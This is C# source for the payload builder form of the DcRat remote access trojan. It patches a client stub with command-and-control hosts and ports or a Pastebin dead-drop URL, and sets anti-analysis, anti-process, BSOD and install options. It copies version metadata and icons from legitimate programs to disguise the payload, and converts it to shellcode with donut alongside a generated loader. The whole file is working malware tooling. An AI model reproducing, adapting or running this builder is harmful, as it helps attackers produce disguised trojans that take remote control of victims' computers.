using System;
using System.Windows.Forms;
using Server.Helper;
using System.Text;
using System.Security.Cryptography;
using Server.Algorithm;
using System.Security.Cryptography.X509Certificates;
using System.Collections.Generic;
using Vestris.ResourceLib;
using dnlib.DotNet;
using System.IO;
using System.Linq;
using dnlib.DotNet.Emit;
using System.Threading.Tasks;
using System.Diagnostics;
using Toolbelt.Drawing;

namespace Server.Forms
{
    public partial class FormBuilder : Form
    {
        public FormBuilder()
        {
            InitializeComponent();
        }

        private void SaveSettings()
        {
            try
            {
                List<string> Pstring = new List<string>();
                foreach (string port in listBoxPort.Items)
                {
                    Pstring.Add(port);
                }
                Properties.Settings.Default.Ports = string.Join(",", Pstring);

                List<string> IPstring = new List<string>();
                foreach (string ip in listBoxIP.Items)
                {
                    IPstring.Add(ip);
                }
                Properties.Settings.Default.IP = string.Join(",", IPstring);

                Properties.Settings.Default.Save();
            }
            catch { }
        }

        private void checkBox1_CheckedChanged(object sender, EventArgs e)
        {
            if (checkBox1.Checked)
            {
                checkBox1.Text = "ON";
                textFilename.Enabled = true;
                comboBoxFolder.Enabled = true;
            }
            else
            {
                checkBox1.Text = "OFF";
                textFilename.Enabled = false;
                comboBoxFolder.Enabled = false;
            }
        }

        private void Builder_Load(object sender, EventArgs e)
        {
            comboBoxFolder.SelectedIndex = 0;
            if (Properties.Settings.Default.IP.Length == 0)
                listBoxIP.Items.Add("127.0.0.1");

            if (Properties.Settings.Default.Paste_bin.Length == 0)
                txtPaste_bin.Text = "https://Pastebin.com/raw/fevFJe98";

            try
            {
                string[] ports = Properties.Settings.Default.Ports.Split(new[] { "," }, StringSplitOptions.None);
                foreach (string item in ports)
                {
                    if (!string.IsNullOrWhiteSpace(item))
                        listBoxPort.Items.Add(item.Trim());
                }
            }
            catch { }

            try
            {
                string[] ip = Properties.Settings.Default.IP.Split(new[] { "," }, StringSplitOptions.None);
                foreach (string item in ip)
                {
                    if (!string.IsNullOrWhiteSpace(item))
                        listBoxIP.Items.Add(item.Trim());
                }
            }
            catch { }

            if (Properties.Settings.Default.Mutex.Length == 0)
                txtMutex.Text = getRandomCharacters();
        }


        private void CheckBox2_CheckedChanged(object sender, EventArgs e)
        {
            if (chkPaste_bin.Checked)
            {
                txtPaste_bin.Enabled = true;
                textIP.Enabled = false;
                textPort.Enabled = false;
                listBoxIP.Enabled = false;
                listBoxPort.Enabled = false;
                btnAddIP.Enabled = false;
                btnAddPort.Enabled = false;
                btnRemoveIP.Enabled = false;
                btnRemovePort.Enabled = false;
            }
            else
            {
                txtPaste_bin.Enabled = false;
                textIP.Enabled = true;
                textPort.Enabled = true;
                listBoxIP.Enabled = true;
                listBoxPort.Enabled = true;
                btnAddIP.Enabled = true;
                btnAddPort.Enabled = true;
                btnRemoveIP.Enabled = true;
                btnRemovePort.Enabled = true;
            }
        }

        private void BtnRemovePort_Click(object sender, EventArgs e)
        {
            if (listBoxPort.SelectedItems.Count == 1)
            {
                listBoxPort.Items.Remove(listBoxPort.SelectedItem);
            }
        }

        private void BtnAddPort_Click(object sender, EventArgs e)
        {
            try
            {
                Convert.ToInt32(textPort.Text.Trim());
                foreach (string item in listBoxPort.Items)
                {
                    if (item.Equals(textPort.Text.Trim()))
                        return;
                }
                listBoxPort.Items.Add(textPort.Text.Trim());
                textPort.Clear();
            }
            catch { }
        }

        private void BtnRemoveIP_Click(object sender, EventArgs e)
        {
            if (listBoxIP.SelectedItems.Count == 1)
            {
                listBoxIP.Items.Remove(listBoxIP.SelectedItem);
            }
        }

        private void BtnAddIP_Click(object sender, EventArgs e)
        {
            try
            {
                foreach (string item in listBoxIP.Items)
                {
                    textIP.Text = textIP.Text.Replace(" ", "");
                    if (item.Equals(textIP.Text))
                        return;
                }
                listBoxIP.Items.Add(textIP.Text.Replace(" ", ""));
                textIP.Clear();
            }
            catch { }
        }

        private async void BtnBuild_Click(object sender, EventArgs e)
        {
            if (!chkPaste_bin.Checked && listBoxIP.Items.Count == 0 || listBoxPort.Items.Count == 0) return;

            if (checkBox1.Checked)
            {
                if (string.IsNullOrWhiteSpace(textFilename.Text) || string.IsNullOrWhiteSpace(comboBoxFolder.Text)) return;
                if (!textFilename.Text.EndsWith("exe")) textFilename.Text += ".exe";
            }

            if (string.IsNullOrWhiteSpace(txtMutex.Text)) txtMutex.Text = getRandomCharacters();

            if (chkPaste_bin.Checked && string.IsNullOrWhiteSpace(txtPaste_bin.Text)) return;



            ModuleDefMD asmDef = null;
            try
            {
                using (asmDef = ModuleDefMD.Load(@"Stub/Client.exe"))
                using (SaveFileDialog saveFileDialog1 = new SaveFileDialog())
                {
                    saveFileDialog1.Filter = ".exe (*.exe)|*.exe";
                    saveFileDialog1.InitialDirectory = Application.StartupPath;
                    saveFileDialog1.OverwritePrompt = false;
                    saveFileDialog1.FileName = "Client";
                    if (saveFileDialog1.ShowDialog() == DialogResult.OK)
                    {
                        btnShellcode.Enabled = false;
                        btnBuild.Enabled = false;
                        WriteSettings(asmDef, saveFileDialog1.FileName);
                        asmDef.Write(saveFileDialog1.FileName);
                        asmDef.Dispose();
                        if (btnAssembly.Checked)
                        {
                            WriteAssembly(saveFileDialog1.FileName);
                        }
                        if (chkIcon.Checked && !string.IsNullOrEmpty(txtIcon.Text))
                        {
                            IconInjector.InjectIcon(saveFileDialog1.FileName, txtIcon.Text);
                        }
                        MessageBox.Show("Done!", "Builder", MessageBoxButtons.OK, MessageBoxIcon.Information);
                        SaveSettings();
                        this.Close();
                    }
                }
            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.Message, "Builder", MessageBoxButtons.OK, MessageBoxIcon.Error);
                asmDef?.Dispose();
                btnBuild.Enabled = true;

            }
        }

        private void WriteAssembly(string filename)
        {
            try
            {
                VersionResource versionResource = new VersionResource();
                versionResource.LoadFrom(filename);

                versionResource.FileVersion = txtFileVersion.Text;
                versionResource.ProductVersion = txtProductVersion.Text;
                versionResource.Language = 0;

                StringFileInfo stringFileInfo = (StringFileInfo)versionResource["StringFileInfo"];
                stringFileInfo["ProductName"] = txtProduct.Text;
                stringFileInfo["FileDescription"] = txtDescription.Text;
                stringFileInfo["CompanyName"] = txtCompany.Text;
                stringFileInfo["LegalCopyright"] = txtCopyright.Text;
                stringFileInfo["LegalTrademarks"] = txtTrademarks.Text;
                stringFileInfo["Assembly Version"] = versionResource.ProductVersion;
                stringFileInfo["InternalName"] = txtOriginalFilename.Text;
                stringFileInfo["OriginalFilename"] = txtOriginalFilename.Text;
                stringFileInfo["ProductVersion"] = versionResource.ProductVersion;
                stringFileInfo["FileVersion"] = versionResource.FileVersion;

                versionResource.SaveTo(filename);
            }
            catch (Exception ex)
            {
                throw new ArgumentException("Assembly: " + ex.Message);
            }
        }

        private void BtnAssembly_CheckedChanged(object sender, EventArgs e)
        {
            if (btnAssembly.Checked)
            {
                btnClone.Enabled = true;
                txtProduct.Enabled = true;
                txtDescription.Enabled = true;
                txtCompany.Enabled = true;
                txtCopyright.Enabled = true;
                txtTrademarks.Enabled = true;
                txtOriginalFilename.Enabled = true;
                txtOriginalFilename.Enabled = true;
                txtProductVersion.Enabled = true;
                txtFileVersion.Enabled = true;
            }
            else
            {
                btnClone.Enabled = false;
                txtProduct.Enabled = false;
                txtDescription.Enabled = false;
                txtCompany.Enabled = false;
                txtCopyright.Enabled = false;
                txtTrademarks.Enabled = false;
                txtOriginalFilename.Enabled = false;
                txtOriginalFilename.Enabled = false;
                txtProductVersion.Enabled = false;
                txtFileVersion.Enabled = false;
            }
        }

        private void ChkIcon_CheckedChanged(object sender, EventArgs e)
        {
            if (chkIcon.Checked)
            {
                txtIcon.Enabled = true;
                btnIcon.Enabled = true;
            }
            else
            {
                txtIcon.Enabled = false;
                btnIcon.Enabled = false;
            }
        }

        private void BtnIcon_Click(object sender, EventArgs e)
        {
            using (OpenFileDialog ofd = new OpenFileDialog())
            {
                ofd.Title = "Choose Icon";
                ofd.Filter = "Icons Files(*.exe;*.ico;)|*.exe;*.ico";
                ofd.Multiselect = false;
                if (ofd.ShowDialog() == DialogResult.OK)
                {
                    if (ofd.FileName.ToLower().EndsWith(".exe"))
                    {
                        string ico = GetIcon(ofd.FileName);
                        txtIcon.Text = ico;
                        picIcon.ImageLocation = ico;
                    }
                    else
                    {
                        txtIcon.Text = ofd.FileName;
                        picIcon.ImageLocation = ofd.FileName;
                    }
                }
            }
        }

        private string GetIcon(string path)
        {
            try
            {
                string tempFile = Path.GetTempFileName() + ".ico";
                using (FileStream fs = new FileStream(tempFile, FileMode.Create))
                {
                    IconExtractor.Extract1stIconTo(path, fs);
                }
                return tempFile;
            }
            catch { }
            return "";
        }

        private void WriteSettings(ModuleDefMD asmDef, string AsmName)
        {
            try
            {
                var key = Methods.GetRandomString(32);
                var aes = new Aes256(key);
                var caCertificate = new X509Certificate2(Settings.CertificatePath, "", X509KeyStorageFlags.Exportable);
                var serverCertificate = new X509Certificate2(caCertificate.Export(X509ContentType.Cert));
                byte[] signature;
                using (var csp = (RSACryptoServiceProvider)caCertificate.PrivateKey)
                {
                    var hash = Sha256.ComputeHash(Encoding.UTF8.GetBytes(key));
                    signature = csp.SignHash(hash, CryptoConfig.MapNameToOID("SHA256"));
                }

                foreach (TypeDef type in asmDef.Types)
                {
                    asmDef.Assembly.Name = Path.GetFileNameWithoutExtension(AsmName);
                    asmDef.Name = Path.GetFileName(AsmName);
                     if (type.Name == "Settings")
                        foreach (MethodDef method in type.Methods)
                        {
                            if (method.Body == null) continue;
                            for (int i = 0; i < method.Body.Instructions.Count(); i++)
                            {
                                if (method.Body.Instructions[i].OpCode == OpCodes.Ldstr)
                                {
                                    if (method.Body.Instructions[i].Operand.ToString() == "%Ports%")
                                    {
                                        if (chkPaste_bin.Enabled && chkPaste_bin.Checked)
                                        {
                                            method.Body.Instructions[i].Operand = aes.Encrypt("null");
                                        }
                                        else
                                        {
                                            List<string> LString = new List<string>();
                                            foreach (string port in listBoxPort.Items)
                                            {
                                                LString.Add(port);
                                            }
                                            method.Body.Instructions[i].Operand = aes.Encrypt(string.Join(",", LString));
                                        }
                                    }

                                    if (method.Body.Instructions[i].Operand.ToString() == "%Hosts%")
                                    {
                                        if (chkPaste_bin.Enabled && chkPaste_bin.Checked)
                                        {
                                            method.Body.Instructions[i].Operand = aes.Encrypt("null");
                                        }
                                        else
                                        {
                                            List<string> LString = new List<string>();
                                            foreach (string ip in listBoxIP.Items)
                                            {
                                                LString.Add(ip);
                                            }
                                            method.Body.Instructions[i].Operand = aes.Encrypt(string.Join(",", LString));
                                        }
                                    }

                                    if (method.Body.Instructions[i].Operand.ToString() == "%Install%")
                                        method.Body.Instructions[i].Operand = aes.Encrypt(checkBox1.Checked.ToString().ToLower());

                                    if (method.Body.Instructions[i].Operand.ToString() == "%Folder%")
                                        method.Body.Instructions[i].Operand = comboBoxFolder.Text;


                                    if (method.Body.Instructions[i].Operand.ToString() == "%File%")
                                        method.Body.Instructions[i].Operand = textFilename.Text;

                                    if (method.Body.Instructions[i].Operand.ToString() == "%Version%")
                                        method.Body.Instructions[i].Operand = aes.Encrypt(Settings.Version.Replace("DcRat ", ""));

                                    if (method.Body.Instructions[i].Operand.ToString() == "%Key%")
                                        method.Body.Instructions[i].Operand = Convert.ToBase64String(Encoding.UTF8.GetBytes(key));

                                    if (method.Body.Instructions[i].Operand.ToString() == "%MTX%")
                                        method.Body.Instructions[i].Operand = aes.Encrypt(txtMutex.Text);

                                    if (method.Body.Instructions[i].Operand.ToString() == "%Anti%")
                                        method.Body.Instructions[i].Operand = aes.Encrypt(chkAnti.Checked.ToString().ToLower());

                                    if (method.Body.Instructions[i].Operand.ToString() == "%AntiProcess%")
                                        method.Body.Instructions[i].Operand = aes.Encrypt(chkAntiProcess.Checked.ToString().ToLower());

                                    if (method.Body.Instructions[i].Operand.ToString() == "%Certificate%")
                                        method.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(serverCertificate.Export(X509ContentType.Cert)));

                                    if (method.Body.Instructions[i].Operand.ToString() == "%Serversignature%")
                                        method.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(signature));

                                    if (method.Body.Instructions[i].Operand.ToString() == "%BSOD%")
                                        method.Body.Instructions[i].Operand = aes.Encrypt(chkBsod.Checked.ToString().ToLower());

                                    if (method.Body.Instructions[i].Operand.ToString() == "%Paste_bin%")
                                        if (chkPaste_bin.Checked)
                                            method.Body.Instructions[i].Operand = aes.Encrypt(txtPaste_bin.Text);
                                        else
                                            method.Body.Instructions[i].Operand = aes.Encrypt("null");

                                    if (method.Body.Instructions[i].Operand.ToString() == "%Delay%")
                                        method.Body.Instructions[i].Operand = numDelay.Value.ToString();

                                    if (method.Body.Instructions[i].Operand.ToString() == "%Group%")
                                        method.Body.Instructions[i].Operand = aes.Encrypt(txtGroup.Text);
                                }
                            }
                        }
                }
            }
            catch (Exception ex)
            {
                throw new ArgumentException("WriteSettings: " + ex.Message);
            }
        }


        private readonly Random random = new Random();
        const string alphabet = "asdfghjklqwertyuiopmnbvcxz";

        public string getRandomCharacters()
        {
            var sb = new StringBuilder();
            for (int i = 1; i <= new Random().Next(10, 20); i++)
            {
                var randomCharacterPosition = random.Next(0, alphabet.Length);
                sb.Append(alphabet[randomCharacterPosition]);
            }
            return sb.ToString();
        }

        private void BtnClone_Click(object sender, EventArgs e)
        {
            using (var openFileDialog = new OpenFileDialog())
            {
                openFileDialog.Filter = "Executable (*.exe)|*.exe";
                if (openFileDialog.ShowDialog() == DialogResult.OK)
                {
                    var fileVersionInfo = FileVersionInfo.GetVersionInfo(openFileDialog.FileName);

                    txtOriginalFilename.Text = fileVersionInfo.InternalName ?? string.Empty;
                    txtDescription.Text = fileVersionInfo.FileDescription ?? string.Empty;
                    txtCompany.Text = fileVersionInfo.CompanyName ?? string.Empty;
                    txtProduct.Text = fileVersionInfo.ProductName ?? string.Empty;
                    txtCopyright.Text = fileVersionInfo.LegalCopyright ?? string.Empty;
                    txtTrademarks.Text = fileVersionInfo.LegalTrademarks ?? string.Empty;

                    var version = fileVersionInfo.FileMajorPart;
                    txtFileVersion.Text = $"{fileVersionInfo.FileMajorPart.ToString()}.{fileVersionInfo.FileMinorPart.ToString()}.{fileVersionInfo.FileBuildPart.ToString()}.{fileVersionInfo.FilePrivatePart.ToString()}";
                    txtProductVersion.Text = $"{fileVersionInfo.FileMajorPart.ToString()}.{fileVersionInfo.FileMinorPart.ToString()}.{fileVersionInfo.FileBuildPart.ToString()}.{fileVersionInfo.FilePrivatePart.ToString()}";
                }
            }
        }

        private void btnShellcode_Click(object sender, EventArgs e)
        {
            if (!chkPaste_bin.Checked && listBoxIP.Items.Count == 0 || listBoxPort.Items.Count == 0) return;
            if (checkBox1.Checked)
            {
                if (string.IsNullOrWhiteSpace(textFilename.Text) || string.IsNullOrWhiteSpace(comboBoxFolder.Text)) return;
                if (!textFilename.Text.EndsWith("exe")) textFilename.Text += ".exe";
            }
            if (string.IsNullOrWhiteSpace(txtMutex.Text)) txtMutex.Text = getRandomCharacters();
            if (chkPaste_bin.Checked && string.IsNullOrWhiteSpace(txtPaste_bin.Text)) return;
            ModuleDefMD asmDef = null;
            try
            {
                using (asmDef = ModuleDefMD.Load(@"Stub/Client.exe"))
                {
                    string Temppath = Path.Combine(Application.StartupPath, @"Stub\tempClient.exe");
                    if (File.Exists(Temppath)) 
                    {
                        File.Delete(Temppath);
                    }
                    
                    File.Copy(Path.Combine(Application.StartupPath, @"Stub\Client.exe"), Temppath);
                    btnShellcode.Enabled = false;
                    btnBuild.Enabled = false;
                    WriteSettings(asmDef, Temppath);
                    asmDef.Write(Temppath);
                    asmDef.Dispose();
                    if (btnAssembly.Checked)
                    {
                        WriteAssembly(Temppath);
                    }
                    if (chkIcon.Checked && !string.IsNullOrEmpty(txtIcon.Text))
                    {
                        IconInjector.InjectIcon(Temppath, txtIcon.Text);
                    }
                    string savepath = "";
                    using (SaveFileDialog saveFileDialog1 = new SaveFileDialog())
                    {
                        saveFileDialog1.Filter = ".bin (*.bin)|*.bin";
                        saveFileDialog1.InitialDirectory = Application.StartupPath;
                        saveFileDialog1.OverwritePrompt = false;
                        saveFileDialog1.FileName = "Client";
                        if (saveFileDialog1.ShowDialog() == DialogResult.OK)
                        {
                            savepath = saveFileDialog1.FileName;
                        }
                    }
                    string Donutpath = Path.Combine(Application.StartupPath, @"Plugins\donut.exe");
                    if (!File.Exists(Donutpath)) 
                    {
                        File.WriteAllBytes(Donutpath,Properties.Resources.donut);
                    }
                    Process Process = new Process();
                    Process.StartInfo.FileName = Donutpath;
                    Process.StartInfo.CreateNoWindow = true;
                    Process.StartInfo.Arguments = "-f " + Temppath + " -o " + savepath;
                    Process.Start();
                    Process.WaitForExit();
                    Process.Close();
                    if (File.Exists(savepath))
                    {
                        File.WriteAllText(savepath + "loader.cs", Properties.Resources.ShellcodeLoader.Replace("%qwqdanchun%", Convert.ToBase64String(File.ReadAllBytes(savepath))));
                        File.WriteAllText(savepath + ".b64", Convert.ToBase64String(File.ReadAllBytes(savepath)));
                    }
                    File.Delete(Temppath);
                    File.Delete(Donutpath);
                    MessageBox.Show("Done!", "Builder", MessageBoxButtons.OK, MessageBoxIcon.Information);
                    SaveSettings();
                    this.Close();
                }
            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.Message, "Builder", MessageBoxButtons.OK, MessageBoxIcon.Error);
                asmDef?.Dispose();
                btnBuild.Enabled = true;

            }
        }
    }
}